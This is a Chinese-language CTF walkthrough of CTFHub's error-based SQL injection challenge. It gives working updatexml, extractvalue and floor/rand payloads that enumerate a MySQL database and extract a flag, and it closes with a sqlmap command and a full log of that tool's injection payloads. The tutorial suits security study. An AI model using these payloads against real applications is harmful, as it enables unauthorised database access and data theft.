CTFHub SQL注入通关笔记3:报错注入(手注法+脚本法)
目录
一、SQL报错型注入
1、基本概念
2、与UNION注入法区别
二、报错法注入步骤
三、SQL注入探测
1、打开靶场
3、确定注入方法
四、updatexml法注入
1、获取当前数据库名
2、获取数据库sqli所有表名
3、查flag表下有哪些字段
4、提取Flag值
五、extractvalue法注入
1、获取当前数据库名
2、获取数据库sqli所有表名
3、查flag表下有哪些字段
4、提取Flag值
五、Floor法注入
1、获取列数
2、获取当前数据库名
3、获取数据库sqli所有表名
(1)查询第一个表
(2)查询第二个表
4、查flag表下有哪些字段
5、提取Flag值
七、sqlmap注入
本文讲解CTFHub的“SQL注入-报错型注入”关卡的原理和完整渗透实战过程。首先介绍了报错注入的基本原理,即通过构造特殊SQL语句触发数据库错误,从错误信息中获取敏感数据。随后详细演示了三种报错注入方法:updatexml法、extractvalue法和floor法,逐步获取数据库名(sqli)、表名(flag和news)、字段名(flag)及最终flag值(ctfhub{a7fb2585bbe44152571cc957})。最后展示了使用sqlmap自动化工具完成注入的全过程。文章通过对比UNION注入与报错注入的区别,强调了报错注入在无数据回显场景下的优势。
一、SQL报错型注入
1、基本概念
SQL 报错注入是一种利用数据库错误信息获取敏感数据的注入攻击技术,其核心原理是通过构造特殊的 SQL 语句,使数据库在执行时产生错误,并在错误信息中泄露数据库结构、数据内容等敏感信息。
- 触发错误机制:通过在输入参数中插入特殊 SQL 函数(如 floor ()、updatexml () 等)或逻辑错误语句,迫使数据库执行时抛出异常。
- 信息提取逻辑:利用错误信息会显示部分执行内容的特性,将查询语句嵌套在错误触发函数中,使敏感数据随错误信息返回。
- 常见函数举例:如 MySQL 中使用
updatexml(1,concat(0x7e,(查询语句),0x7e),1)
,通过 concat 拼接查询结果与特殊字符,使 XML 解析错误并显示内容。 - 攻击流程特点:通常需先判断数据库类型,再根据其特性构造对应报错语句,逐步猜解表名、字段名、数据内容等。
2、与UNION注入法区别
对比 | Union 注入 | 报错注入 |
---|---|---|
核心原理 | 利用 SQL 的UNION 操作符特性,将构造的查询语句结果与原页面正常查询结果合并返回。 | 构造特殊 SQL 语句迫使数据库执行出错,利用错误信息泄露敏感数据(如结构、内容)。 |
数据获取方式 | 需页面支持显示查询结果集,通过控制UNION 后的查询列数、数据类型匹配获取数据。 | 无需页面显示正常查询结果,直接从数据库返回的错误提示中提取敏感信息。 |
页面依赖 | 强依赖页面能输出 SQL 查询结果(如数据列表、详情页),无结果显示则无法利用。 | 不依赖页面正常结果显示,仅需页面返回数据库错误信息(如开启错误回显)。 |
技术手段 | 先通过ORDER BY 判断列数,再用UNION SELECT 构造查询,指定获取数据的表和字段。 | 利用数据库特定函数:如 MySQL 的updatexml 、SQL Server 的xp_cmdshell 触发错误。 |
利用条件 | 1. 注入点支持UNION 操作;2. 已知或可猜解查询列数;3. 页面显示查询结果。 | 1. 数据库开启错误回显功能;2. 注入点可执行含错误触发函数的 SQL 语句。 |
获取效率 | 需逐步构造查询语句,一次通常获取部分数据(如单表字段、单条记录),效率较低。 | 可通过错误信息直接返回关键数据(如表名、字段名、数据内容),效率相对较高。 |
隐蔽成都 | 若UNION 查询结果融入正常页面,可能较难被察觉;但频繁构造查询易触发安全审计。 | 直接返回错误信息,特征明显(如含数据库表名、字段名),易被安全设备检测。 |
二、报错法注入步骤
-
探测注入点:提交单引号
'
等字符观察是否产生数据库错误回显,确认存在注入且为报错型。 -
闭合语句:根据错误信息判断原查询的闭合方式,并使用注释符
--+
或#
注释掉后续代码。 -
选取函数:根据数据库类型选择合适的报错函数,如MySQL的updatexml(), extractvalue()等
-
获取数据库:构造报错Payload,查询
database()
获取当前数据库名。 -
枚举表名:查询
information_schema.tables
,使用group_concat()
获取所有表名。 -
定位目标表:从表名列表中识别出可能存储敏感数据的目标表(如
flag
,user
)。 -
枚举列名:查询
information_schema.columns
,获取目标表的所有字段名。 -
提取数据:从目标表的指定字段中查询数据,使用
group_concat()
合并记录。 -
处理截断:若数据被截断,使用
substr()
或right()
函数分段获取,最终拼接完整数据。 -
提交Flag:将获取的完整敏感数据(如Flag)提交,完成挑战。
三、SQL注入探测
1、打开靶场
浏览器输入靶场URL链接,这就是我们的攻击目标,如下所示。
http://challenge-b02d8b2e59247c20.sandbox.ctfhub.com:10800/
2、确定闭合方式
根据提示在页面输入1,此时URL的参数变为/?id=1,猜测id就是注入点。
http://challenge-99050782e71a4954.sandbox.ctfhub.com:10800/?id=1
关注下图红框中的SQL注入语句,如下所示参数1被传入后未任何符号包裹,属于数值型。同时注意到页面没有输出任何数据库信息,仅提示“查询成功”,由于页面无输出,故而无法使用联合注入法进行渗透。
select * from news where id=1
3、确定注入方法
访问目标页面,通过引入特殊字符触发错误,若页面返回详细的数据库错误信息则证明存在SQL注入风险且未屏蔽错误。输入注入语句 1' ,关注SQL语句的变化和返回结果。
select * from news where id=1'
如下图所示,页面显示SQL报错信息,分析因此可利用报错法进行渗透,存在SQL注入风险。此错误通常源于单引号破坏了原语句的字符串闭合导致的。
四、updatexml法注入
报错注入的核心是利用数据库函数故意触发错误,并将查询结果带到错误信息中,本部分使用函数updatexml()进行渗透。
1、获取当前数据库名
利用报错函数逐步获取数据库信息。首先查询当前数据库名,这里database()
函数将返回当前数据库名称,updatexml()函数会在处理第二个参数(XML路径)时检查格式,而我们通过concat()将波浪符0x7e(~)与想要查询的数据(如database())拼接,形成非法XML路径(如~database_name~),从而触发错误并回显该字符串。--+用于注释后续语句,避免语法问题其中。
1 and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
提交后,页面输出报错信息,从中提取出数据库名为‘sqli’。
2、获取数据库sqli所有表名
接下来,查询数据库sqli的所有表名。对于MySQL,信息模式库是information_schema.tables
1 and updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema="sqli"),0x7e),1)
此语句会将当前数据库下的所有表名合并成一个字符串,提交后,页面输出报错信息,从中提取出flag和news就是数据库中的表格,其中flag表就是我们要下一步查询的表格。
3、查flag表下有哪些字段
得知表名flag后,我们需要使用information_schema.columns
探查flag表包含哪些字段(列)。
1 and updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag"),0x7e),1)
这将列出‘flag’表的所有字段名,提交后,页面输出报错信息,从中提取出字段名“flag”,说明flag表仅有1列,那就是flag。
4、提取Flag值
最后提取flag表的flag列对应的值,使用如下Payload。
1 and updatexml(1,concat(0x7e,(select group_concat(flag) from flag)),1)
提交后页面输出报错信息,从中提取出Flag字符串ctfhub{a7fb2585bbe44152571cc957,很明显这个flag没有显示全,这是因为当前报错型注入最多输出长度为32,如下所示。
使用right()
函数获取剩余部分,回字符串str
最右边的len
个字符,Payload如下所示。
1 and updatexml(1,concat(0x7e,right((select(group_concat(flag)) from sqli.flag),31),0x7e),1)
提交后页面输出报错信息,将上一步提取到flag的前面字符串与本次结果拼接,获取到flag的值为ctfhub{a7fb2585bbe44152571cc957},如下所示成功完成本次渗透。
五、extractvalue法注入
报错注入的核心是利用数据库函数故意触发错误,并将查询结果带到错误信息中,本部分使用函数extractvalue()进行渗透。extractvalue(xml_frag, xpath_expr)
: 这是一个MySQL用于查询XML文档的函数。它接受两个参数:一个XML片段和一个XPath路径表达式。如果提供的xpath_expr
不符合XPath格式规范,MySQL就会抛出一个错误,并且会将这个不合法的xpath_expr
的内容显示在错误信息里。我们正是利用这个特性来窃取数据。
1、获取当前数据库名
利用报错函数逐步获取数据库信息。首先查询当前数据库名,这里database()
函数将返回当前数据库名称,Payload如下所示。
1 and extractvalue(1,concat(0x7e,database()))
提交后,页面输出报错信息,从中提取出数据库名为‘sqli’。
2、获取数据库sqli所有表名
接下来,查询数据库sqli的所有表名。对于MySQL,信息模式库是information_schema.tables
1 and extractvalue(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema="sqli"),0x7e))
此语句会将当前数据库下的所有表名合并成一个字符串,提交后,页面输出报错信息,从中提取出flag和news就是数据库中的表格,其中flag表就是我们要下一步查询的表格。
3、查flag表下有哪些字段
得知表名flag后,我们需要使用information_schema.columns
探查flag表包含哪些字段(列)。
1 and extractvalue(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag"),0x7e))
这将列出‘flag’表的所有字段名,提交后,页面输出报错信息,从中提取出字段名“flag”,说明flag表仅有1列,那就是flag。
4、提取Flag值
最后提取flag表的flag列对应的值,使用如下Payload。
1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))
提交后页面输出报错信息,从中提取出Flag字符串ctfhub{a7fb2585bbe44152571cc957,很明显这个flag没有显示全,这是因为当前报错型注入最多输出长度为32,如下所示。
使用right()
函数获取剩余部分,回字符串str
最右边的len
个字符,Payload如下所示。
1 and extractvalue(1,concat(0x7e,right((select(group_concat(flag)) from sqli.flag),31),0x7e))
right()
函数:right(str, 31)
-
作用: 返回字符串
str
最右边(从末尾开始) 的31
个字符。 -
为什么需要它?: 因为
extractvalue()
函数报错时,回显的信息长度有限制(通常约64字符,但有效数据部分更短)。如果Flag很长,一次性查询只会显示前面一部分,末尾会被截断(比如看不到最后的}
)。right()
函数的作用就是分段获取数据。
-
提交后页面输出报错信息,将上一步提取到flag的前面字符串与本次结果拼接,获取到flag的值为ctfhub{a7fb2585bbe44152571cc957},如下所示成功完成本次渗透。
五、Floor法注入
报错注入的核心是利用数据库函数故意触发错误,并将查询结果带到错误信息中,本部分使用函数Floor()进行渗透。“floor报错法”是一种在SQL注入攻击中用于精确提取数据的技术。它属于“报错注入(Error-based SQL Injection)”的一种,主要利用了数据库的某些数学函数(如floor
, rand
)和分组(group by
)机制,通过故意触发数据库错误,并将想要查询的信息(如数据库名、表名、字段值)显示在错误信息中。
1、获取列数
探查目标SQL查询结果返回的列数,这是为后续的UNION联合查询攻击做准备。我们使用 ORDER BY
子句进行探测。ORDER BY n
表示根据第n列进行排序,如果n超过实际列数,数据库将返回错误。我们从 ORDER BY 1
开始尝试,Payload:1 ORDER BY 1。页面正常显示则说明查询结果至少有一列。然后依次递增数字:1 ORDER BY 2, 1 ORDER BY 3, ... 直至页面返回错误(如空白页、数据库报错信息)。
1 ORDER BY 1
1 ORDER BY 2
1 ORDER BY 3
综上所述,当 ORDER BY 3
时页面无返回值,而 ORDER BY 2
正常,则表明当前查询结果的字段数为2列,说明后续UNION查询必须匹配相同的列数。
2、获取当前数据库名
利用报错函数逐步获取数据库信息。首先查询当前数据库名,这里database()
函数将返回当前数据库名称,Payload如下所示。
1 union select count(*),concat(floor(rand(0)*2) ,0x3a,database()) x from information_schema.schemata group by x
提交后,页面输出报错信息,从中提取出数据库名为‘sqli’。
如上Payload拼接SQL语句后如下所示,目的是通过故意触发数据库错误,从错误信息中窃取sqli.flag
表中的数据。
select * from news where id=1 union select count(*),concat(floor(rand(0)*2) ,0x3a,database()) x from information_schema.schemata group by x
(1)select * from news where id=1
-
目的:执行原始的正常查询,保证
union
前半部分能成功执行。 -
含义:从
news
表中查询id
为1的新闻。
(2)union
-
目的:连接两个
SELECT
语句,将攻击载荷的执行结果合并到原始查询中。 -
关键前提:
union
前后的两个SELECT
语句必须拥有相同数量的列。这里暗示原查询select * from news
返回的列数很可能为2。
(3)报错注入载荷(核心部分):
select count(*), concat(floor(rand(0)*2), 0x3a, database()) x
from information_schema.schemata
group by x
-
select count(*), concat(...) x
:-
count(*)
:聚合函数,计算行数。这是为了满足union
列数要求的第一列。 -
concat(...) x
:构造一个会被拼接的字符串,并命名为x
(第二列)。 -
floor(rand(0)*2)
:产生固定的伪随机序列(0,1,0,1...),是触发报错的关键。 -
0x3a
:十六进制,代表冒号:
,用作分隔符,使输出更清晰(例如1:database_name
)。 -
database()
:真正要窃取数据的目标函数,返回当前使用的数据库名称。
-
-
from information_schema.schemata
:选择这个系统表是因为它通常存在且可访问,有足够的数据行来触发后续的GROUP BY
错误。 -
group by x
:触发报错的机关。在分组过程中,由于floor(rand(0)*2)
的多次计算导致值不一致,会造成临时表的主键冲突,从而引发错误。
3、获取数据库sqli所有表名
(1)查询第一个表
接下来,查询数据库sqli的所有表名。对于MySQL,信息模式库是information_schema.tables,首先查询第一个表格,Payload如下所示。
1 union select count(*),concat(floor(rand(0)*2) ,0x3a, (select concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1)) x from information_schema.schemata group by x #mooyuan
此语句会将当前数据库下的第一个表格,提交后,页面输出报错信息,从中提取出news就是数据库中的第一个表格。
(2)查询第二个表
查询
当前数据库的第二个表格,Payload如下所示。
1 union select count(*),concat(floor(rand(0)*2) ,0x3a, (select concat(table_name) from information_schema.tables where table_schema='sqli' limit 1,1)) x from information_schema.schemata group by x #mooyuan
此语句会将当前数据库下的第二个表格,提交后,页面输出报错信息,从中提取出falg就是数据库中的第二个表格,该表就是我们要下一步查询的表格。
4、查flag表下有哪些字段
得知表名flag后,我们需要使用information_schema.columns
探查flag表包含哪些字段(列)。
1 union select count(*),concat(floor(rand(0)*2) ,0x3a, (select concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)) x from information_schema.schemata group by x #mooyuan
这将列出‘flag’表的所有字段名,提交后,页面输出报错信息,从中提取出字段名“flag”,说明flag表仅有1列,那就是flag。
5、提取Flag值
最后提取flag表的flag列对应的值,使用如下Payload。
1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x #mooyuan
提交后页面输出报错信息,提取到flag值为ctfhub{a7fb2585bbe44152571cc957},如下所示成功完成本次渗透。
七、sqlmap注入
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。
sqlmap -u http://challenge-99050782e71a4954.sandbox.ctfhub.com:10800/?id=1 --current-db --dump --batch -v 3
-
--current-db:
这是一个信息枚举参数。它的作用是命令SQLMap在成功找到注入点后,首先获取当前正在使用的数据库名称。这是后续操作的关键第一步,因为知道了数据库名,才能进一步查询它里面的表。 -
--dump
-
这是一个数据提取参数,是这条命令的“终极目标”。它的作用是命令SQLMap尽最大努力提取并下载所有它能访问的数据。
-
--dump
的行为非常激进和自动化,它通常包含以下子步骤:-
枚举当前数据库的所有表名。
-
针对每个表,枚举其所有列名。
-
然后将其每个表中的所有数据内容(每一行每一列)全部提取并保存到本地。
-
-
-
--batch
-
这是一个自动化执行参数。在默认情况下,SQLMap在发现安全风险或需要做出选择时会暂停并询问用户(例如,“是否要测试其他参数?”,“发现了数据库X,是否要跳过并测试其他?”)。
-
--batch
选项会让SQLMap自动选择默认的或最有效的答案继续执行,无需任何人工交互。这对于自动化脚本和快速测试非常有用,但在某些需要谨慎选择的复杂场景下可能不是最佳选择。
-
-
-v 3
-
这是详细级别(Verbosity) 参数。SQLMap有0-6共7个详细级别。
-
-v 3
表示输出级别为3。在这个级别上,SQLMap不仅会显示最终结果和重要警告,还会显示它发送的每个HTTP请求的Payload(负载)和收到的HTTP响应。
-
如下所示,sqlmap渗透成功,可以通过联合查询、布尔盲注、时间盲注3种方法渗透成功,具体信息如下所示,成功获取到flag值ctfhub{a7fb2585bbe44152571cc957}。
sqlmap -u http://challenge-99050782e71a4954.sandbox.ctfhub.com:10800/?id=1 --current-db --dump --batch -v 3_____H__ ___ ___[,]_____ ___ ___ {1.6#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 23:43:23 /2025-09-12/
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
[23:44:24] [DEBUG] used the default behavior, running in batch mode
sqlmap identified the following injection point(s) with a total of 339 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clausePayload: id=1 RLIKE (SELECT (CASE WHEN (8664=8664) THEN 1 ELSE 0x28 END))Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: id=1 AND (SELECT 5712 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT (ELT(5712=5712,1))),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 5527 FROM (SELECT(SLEEP(5)))xPtC)Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
[23:44:24] [INFO] the back-end DBMS is MySQL
[23:44:24] [DEBUG] searching for error chunk length...
[23:44:24] [PAYLOAD] 1 AND (SELECT 6706 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT REPEAT(0x34,1024)),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:24] [PAYLOAD] 1 AND (SELECT 9392 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT REPEAT(0x32,512)),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:24] [PAYLOAD] 1 AND (SELECT 1655 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT REPEAT(0x36,256)),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:25] [PAYLOAD] 1 AND (SELECT 2142 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT REPEAT(0x34,54)),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:25] [PAYLOAD] 1 AND (SELECT 8105 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT (CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END)),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:25] [DEBUG] performed 5 queries in 0.63 seconds
web application technology: OpenResty 1.21.4.2, PHP 7.3.14
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[23:44:25] [INFO] fetching current database
[23:44:25] [PAYLOAD] 1 AND (SELECT 5283 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,54)),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:25] [INFO] retrieved: 'sqli'
[23:44:25] [DEBUG] performed 1 query in 0.13 seconds
current database: 'sqli'
[23:44:25] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[23:44:25] [INFO] fetching current database
[23:44:25] [INFO] fetching tables for database: 'sqli'
[23:44:25] [PAYLOAD] 1 AND (SELECT 1872 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT IFNULL(CAST(COUNT(table_name) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x73716c69)),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:25] [DEBUG] used SQL query returns 2 entries
[23:44:25] [PAYLOAD] 1 AND (SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(table_name AS NCHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x73716c69) LIMIT 0,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:25] [INFO] retrieved: 'news'
[23:44:25] [PAYLOAD] 1 AND (SELECT 4613 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(table_name AS NCHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x73716c69) LIMIT 1,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:25] [INFO] retrieved: 'flag'
[23:44:25] [DEBUG] performed 3 queries in 0.38 seconds
[23:44:25] [INFO] fetching columns for table 'flag' in database 'sqli'
[23:44:25] [PAYLOAD] 1 AND (SELECT 1076 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x666c6167 AND table_schema=0x73716c69),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:25] [DEBUG] used SQL query returns 1 entry
[23:44:25] [PAYLOAD] 1 AND (SELECT 5908 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(column_name AS NCHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x666c6167 AND table_schema=0x73716c69),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:26] [INFO] retrieved: 'flag'
[23:44:26] [PAYLOAD] 1 AND (SELECT 2232 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(column_type AS NCHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x666c6167 AND table_schema=0x73716c69),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:26] [INFO] retrieved: 'varchar(100)'
[23:44:26] [DEBUG] performed 3 queries in 0.39 seconds
[23:44:26] [INFO] fetching entries for table 'flag' in database 'sqli'
[23:44:26] [PAYLOAD] 1 AND (SELECT 9282 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT IFNULL(CAST(COUNT(flag) AS NCHAR),0x20) FROM sqli.flag),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:26] [DEBUG] used SQL query returns 1 entry
[23:44:26] [PAYLOAD] 1 AND (SELECT 2619 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(flag AS NCHAR),0x20)),1,54) FROM sqli.flag ORDER BY flag),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:26] [INFO] retrieved: 'ctfhub{a7fb2585bbe44152571cc957}'
[23:44:26] [DEBUG] performed 2 queries in 0.28 seconds
[23:44:26] [DEBUG] analyzing table dump for possible password hashes
Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag |
+----------------------------------+
| ctfhub{a7fb2585bbe44152571cc957} |
+----------------------------------+[23:44:26] [INFO] table 'sqli.flag' dumped to CSV file '/home/kali/.local/share/sqlmap/output/challenge-99050782e71a4954.sandbox.ctfhub.com/dump/sqli/flag.csv'
[23:44:26] [INFO] fetching columns for table 'news' in database 'sqli'
[23:44:26] [PAYLOAD] 1 AND (SELECT 1449 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:26] [DEBUG] used SQL query returns 2 entries
[23:44:26] [PAYLOAD] 1 AND (SELECT 5092 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(column_name AS NCHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69 LIMIT 0,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:26] [INFO] retrieved: 'id'
[23:44:26] [PAYLOAD] 1 AND (SELECT 3632 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(column_type AS NCHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69 LIMIT 0,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:26] [INFO] retrieved: 'int(10)'
[23:44:26] [PAYLOAD] 1 AND (SELECT 1630 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(column_name AS NCHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69 LIMIT 1,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:27] [INFO] retrieved: 'data'
[23:44:27] [PAYLOAD] 1 AND (SELECT 4803 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(column_type AS NCHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69 LIMIT 1,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:27] [INFO] retrieved: 'varchar(20)'
[23:44:27] [DEBUG] performed 5 queries in 0.65 seconds
[23:44:27] [INFO] fetching entries for table 'news' in database 'sqli'
[23:44:27] [PAYLOAD] 1 AND (SELECT 2788 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM sqli.news),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:27] [DEBUG] used SQL query returns 3 entries
[23:44:27] [PAYLOAD] 1 AND (SELECT 3531 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(data AS NCHAR),0x20)),1,54) FROM sqli.news ORDER BY id LIMIT 0,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:27] [INFO] retrieved: 'ctfhub'
[23:44:27] [PAYLOAD] 1 AND (SELECT 5909 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(id AS NCHAR),0x20)),1,54) FROM sqli.news ORDER BY id LIMIT 0,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:27] [INFO] retrieved: '1'
[23:44:27] [PAYLOAD] 1 AND (SELECT 5830 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(data AS NCHAR),0x20)),1,54) FROM sqli.news ORDER BY id LIMIT 1,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:27] [INFO] retrieved: 'skill'
[23:44:27] [PAYLOAD] 1 AND (SELECT 4895 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(id AS NCHAR),0x20)),1,54) FROM sqli.news ORDER BY id LIMIT 1,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:27] [INFO] retrieved: '2'
[23:44:27] [PAYLOAD] 1 AND (SELECT 7845 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(data AS NCHAR),0x20)),1,54) FROM sqli.news ORDER BY id LIMIT 2,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:27] [INFO] retrieved: 'sqli'
[23:44:28] [PAYLOAD] 1 AND (SELECT 1202 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT MID((IFNULL(CAST(id AS NCHAR),0x20)),1,54) FROM sqli.news ORDER BY id LIMIT 2,1),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[23:44:28] [INFO] retrieved: '114514'
[23:44:28] [DEBUG] performed 7 queries in 0.92 seconds
[23:44:28] [DEBUG] analyzing table dump for possible password hashes
Database: sqli
Table: news
[3 entries]
+--------+--------+
| id | data |
+--------+--------+
| 1 | ctfhub |
| 2 | skill |
| 114514 | sqli |
+--------+--------+